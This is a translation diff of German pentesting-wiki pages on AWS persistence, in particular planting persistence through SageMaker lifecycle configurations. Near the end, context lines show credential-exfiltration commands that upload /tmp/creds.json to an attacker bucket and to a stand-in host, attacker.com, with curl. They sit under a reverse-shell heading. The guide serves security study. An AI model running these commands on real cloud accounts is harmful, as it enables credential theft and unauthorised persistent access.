Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle

src/pentesting-cloud/aws-security/aws-persistence/README.md

@@ -1 +1,3 @@
 # AWS - Persistenz
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md

@@ -1,4 +1,6 @@
-# AWS - SageMaker Lifecycle Configuration Persistence
+# Aws Sagemaker Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Übersicht der Persistenztechniken
 
@@ -21,7 +23,7 @@ sagemaker:UpdateUserProfile
 sagemaker:UpdateSpace
 sagemaker:UpdateDomain
 ```
-## Set Lifecycle Configuration on Notebook Instances
+## Lebenszykluskonfiguration für Notebook-Instanzen festlegen
 
 ### Beispiel AWS CLI-Befehle:
 ```bash
@@ -102,7 +104,7 @@ aws sagemaker create-studio-lifecycle-config \
 ```
 ### Kritische Informationen:
 * Das Anfügen von LCCs auf Domain- oder Space-Ebene betrifft alle Benutzer oder Anwendungen im Geltungsbereich.
-* Erfordert höhere Berechtigungen (sagemaker:UpdateDomain, sagemaker:UpdateSpace), die typischerweise auf Space-Ebene leichter umsetzbar sind als auf Domain-Ebene.
+* Erfordert höhere Berechtigungen (sagemaker:UpdateDomain, sagemaker:UpdateSpace), die typischerweise auf Space-Ebene machbarer sind als auf Domain-Ebene.
 * Netzwerkebenenkontrollen (z. B. strenge Egress-Filterung) können erfolgreiche Reverse Shells oder Datenexfiltration verhindern.
 
 ## Reverse Shell über Lifecycle-Konfiguration
@@ -153,4 +155,4 @@ aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
 
 curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
 ```
-
+{{#include ../../../banners/hacktricks-training.md}}